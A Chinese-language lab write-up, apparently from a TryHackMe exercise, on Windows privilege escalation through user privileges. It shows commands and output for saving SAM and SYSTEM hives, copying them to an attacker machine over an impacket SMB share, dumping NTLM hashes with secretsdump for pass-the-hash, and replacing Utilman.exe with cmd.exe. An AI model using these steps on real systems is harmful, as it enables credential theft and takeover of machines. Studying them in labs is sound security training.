:::info 在 Linux 提权中,我们也经常可以看到一些利用用户特权进行提权的方法,该方法类似
:::
特权
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们可以使用该命令来获取用户拥有的特权。
当然 Windows 特权有很多,我们简单介绍几个就可以了,我们可以在这个项目中查看更多的特权方法:
SeBackup / SeRestore
:::info 这个从名字就可以看出来是一个备份特权,我们通常会利用这个方法去获取 密码哈希 进一步来扩大目标
:::
C:\> reg save hklm\system C:\Users\THMBackup\system.hive
The operation completed successfully.
C:\> reg save hklm\sam C:\Users\THMBackup\sam.hive
The operation completed successfully.
使用 SMB 传输到本地
user@attackerpc$ python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share
使用 impacket 进行检索密码哈希:
user@attackerpc$ python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2021 SecureAuth Corporation
[*] Target system bootKey: 0x36c8d26ec0df8b23ce63bcefa6e2d821
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
然后就可以利用 PTH 进行发起攻击
SeTakeOwnership
:::info 该特权运行用户获得系统上任何对象的所有权
注意要获取到此特权,我们需要使用管理员身份打开命令提示符
:::
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们将滥用此特权来进行升级, Utilman 是一个内置 Windows 程序,用于在锁屏屏幕间轻松访问:
因为该程序是 SYSTEM 权限,所以我们可以替换此文件进行提权:
我们先来获取所有权
C:\> takeown /f C:\Windows\System32\Utilman.exe
SUCCESS: The file (or folder): "C:\Windows\System32\Utilman.exe" now owned by user "WINPRIVESC2\thmtakeownership".
获取所有权后,我们为自己分配相关权限
在此之后,我们将 utilman.exe 替换为 cmd 的副本.exe:
C:\> icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F
processed file: Utilman.exe
Successfully processed 1 files; Failed processing 0 files
C:\Windows\System32\> copy cmd.exe utilman.exe
1 file(s) copied.
SeImpersonate / SeAssignPrimaryToken
:::info 该特权运行进程模拟其他用户代表他们执行操作
这涉及到 Windows 访问令牌的相关知识
利用程序:GitHub - k4sth4/PrintSpoofer: Windows Privilege Escalation
:::
如果我们拥有此特权,我们可以尝试模拟任何连接到指定进程,并经过身份验证的用户。
如果要使用此漏洞进行提权,我们需要两个条件:
- 生成进程,以便用户可以连接进行身份验证
- 找到一种方法使特权用户去连接我们的恶意进程
实例:Relevant